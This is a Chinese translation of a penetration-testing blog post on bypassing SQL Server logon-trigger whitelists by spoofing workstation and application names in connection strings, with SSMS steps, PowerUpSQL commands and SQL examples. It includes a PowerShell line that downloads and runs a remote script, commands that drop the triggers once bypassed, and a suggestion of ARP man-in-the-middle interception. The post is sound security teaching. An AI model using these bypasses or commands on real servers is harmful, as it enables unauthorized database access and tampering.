原文:https://blog.netspi.com/bypass-sql-logon-triggers/
在渗透测试过程中,我们经常会遇到针对直接连接到SQL Server数据库的两层桌面应用程序的测试。此外,有时候我们也会遇到SQL Server后端,它们只允许来自预定义主机名或应用程序清单中的连接。一般情况下,这些类型的限制是通过登录触发器来强制执行的。在本文中,我们将为读者演示如何通过某些鲜为人知的连接字符串属性伪造主机名和应用程序名,从而绕过这些白名单限制。在我们的示例中,包括SSMS和PowerUpSQL。本文介绍的技术,对应用程序渗透测试人员和跟遗留的桌面应用程序打交道的开发人员来说,都将非常有用。
什么是登录触发器?
登录触发器本质上是一个存储过程,该过程的执行时机是在通过SQL Server身份验证之后,登录会话完全建立之前。它们通常用于根据日内时间、主机名、应用程序名称以及单个用户的并发会话数,以编程方式限制对SQL Server的访问。
安装SQL Server
如果您还没有安装SQL Server,可以安装下面的步骤完成安装。
创建限制主机名的登录触发器
下面介绍如何对家庭实验室中的触发器进行配置,该触发器是根据连接的工作站名称来限制访问权限的。
SELECT HOST_NAME()
创建一个登录触发器来限制对特定主机名的访问。然后,严格按照如下所示方法执行该触发器。
-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
-- White list of allowed hostnames are defined here.
HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
)
BEGIN
RAISERROR('You are not allowed to login', 16, 1);
ROLLBACK;
END
END
利用SSMS伪造主机名
现在,读者可能会问,“在现实世界中,我什么时候才会用到它呢?”——通常是我们从配置文件或反编译的代码中获取连接字符串,并希望使用该信息直接连接到SQL Server的时候。在应用程序渗透测试过程中,这是一种非常常见的情况,同时,我们在网络渗透测试和跟红队对抗期间,在打开的文件共享中也会发现一些内部应用程序和配置文件,这些你懂的。
好的,让我们利用SSMS对我们的主机名进行伪装。
SELECT HOST_NAME()
使用连接字符串伪造主机名
实际上,SSMS只是使用"workstation id"属性集建立一个连接字符串。下面是一个连接字符串的例子,它会以当前Windows用户的身份连接到远程SQL Server实例,并选择“Master”数据库。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;
如果我们在上一节中展示的登录触发器已经生效的话,我们应该看到“failed to connect”消息。 但是,如果将“Workstation ID”属性设置为白名单中的主机名,就能顺利登录。
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;
使用PowerUpSQL伪造主机名
此外,我还为PowerUpSQL的Get-SQLQuery函数添加了“WorkstationId”选项。一旦我找到更多时间,我将努力改进其他函数。现在,我们将通过一个示例演示如何绕过前一节中创建的登录触发器。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
创建登录触发器来限制应用程序
以下是在家庭实验室中设置触发器的方法,该触发器根据连接的应用程序的名称来限制访问。
SELECT APP_NAME()
```sql
CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
IF
(
------ Set the white list of application names here
APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
)
BEGIN
RAISERROR('You cannot connect to SQL Server from this machine', 16, 1);
ROLLBACK;
END
END
![图片.png](https://xzfile.aliyuncs.com/media/upload/picture/20180630093933-707e6f3a-7c06-1.png)
4. 设置登录触发器后,当再次使用SSMS登录时,会收到类似下面的错误消息,因为您正通过白名单之外的应用程序进行连接。
![图片.png](https://xzfile.aliyuncs.com/media/upload/picture/20180630094010-8691f378-7c06-1.png)
**使用SSMS伪造应用程序名称**
------------
同样的,你可能想知道,“在现实世界中,我什么时候会用到它呢?”。某些应用程序的名称已经静态设置到用于连接SQL Server的连接字符串中了。实际上,虽然很少见到登录触发器利用应用程序名称来限制访问,但我们确实遇到过几次。
好的,让我们利用SSMS来伪造应用程序名。
1. 在SSMS中打开"Connect Object Explorer"并导航到"Additional Connection Parameters"选项。我们可以在这里即时设置连接字符串属性(超酷)。 对于这个例子来说,我们将"application name"属性设置为"SuperApp3000",它是白名单中的一个应用程序名。注意:稍后我会介绍几种识别白名单中的应用程序名的方法。
![图片.png](https://xzfile.aliyuncs.com/media/upload/picture/20180630094224-d6b6de9a-7c06-1.png)
2. 单击连接按钮进行登录。打开一个查询窗口并重新检查应用程序名,这时将会变成"SuperApp3000"。这进一步说明我们成功欺骗了主机名检测机制。
```sql
SELECT APP_NAME()
使用连接字符串伪造应用程序名称
正如在上一节中提到的那样,存在一个名为“AppName”的连接字符串属性,应用程序可以使用它将其应用程序名称提交给SQL Server,例如:
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; Application Name =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; ApplicationName =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True; AppName =MyApp"
使用PowerUpSQL伪造应用程序名称
为了演示应用程序名称欺骗场景,我更新了PowerUpSQL的Get-SQLQuery函数,使其包含“appname”选项。一旦我能够挤出更多时间,我将努力改进其他函数。
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query 'SELECT APP_NAME()'
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'
寻找白名单中的主机名和应用程序名
如果您不确定登录触发器的白名单中包含哪些主机名和应用程序,可以借助下列方法。
获取登录触发器白名单中所有主机名和应用程序的最佳方法是查看源代码。然而,在大多数情况下,这需要具备相应的访问特权。
SELECT name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers
ORDER BY name ASC
有时白名单中的主机名和应用程序会被硬编码到应用程序中。如果您正在处理.NET或Java应用程序,则可以通过反编译,并查找与正在使用的连接字符串相关的关键字来定位有关源代码。这种方法假定您可以访问应用程序程序集或配置文件。这时,JD-GUI和DNSPY将会派上用场。
有时,白名单中的主机名和应用程序,是应用程序启动时从数据库服务器中抓取的。因此,您可以使用您最喜爱的嗅探器来获取白名单中的主机名和应用程序。我有过几次这样的经历。你可能会问,为什么会有人这么做? 别人可能永远不会知道答案。
如果您已经拥有域帐户,则可以查询Active Directory以获取域计算机的列表。然后,您可以遍历列表,从而找出允许连接的列表。当然,这里假定当前域用户有权登录到SQL Server,并且白名单列出的主机名与域相关联。
我们还可以通过基于ARP的中间人(MITM)攻击来拦截从远程系统到SQL Server的连接。如果连接已加密(自SQL Server 2014以来,都会默认进行加密),虽然看不到流量内容,但能够看到已经连接了哪些主机。当然,我们也可以使用MITM技术。
警告:如果攻击过程正在验证登陆凭证,可能会导致数据包丢失,并对生产系统产生严重影响,因此请谨慎使用该方法。
一般建议
小结
在这篇文章中,我介绍了几种利用鲜为人知的连接字符串属性绕过由SQL Server登录触发器强制执行的访问限制的方法。当您对传统桌面应用程序进行渗透测试时,希望这些方法能够对您有所帮助。除此之外,我们还特别指出了在构建两层桌面应用程序时需要极力避免的一些事项。如果读者有兴趣的话,还可以从这里访问我更新后的“SQL Server Connection String Cheatsheet”。
参考文献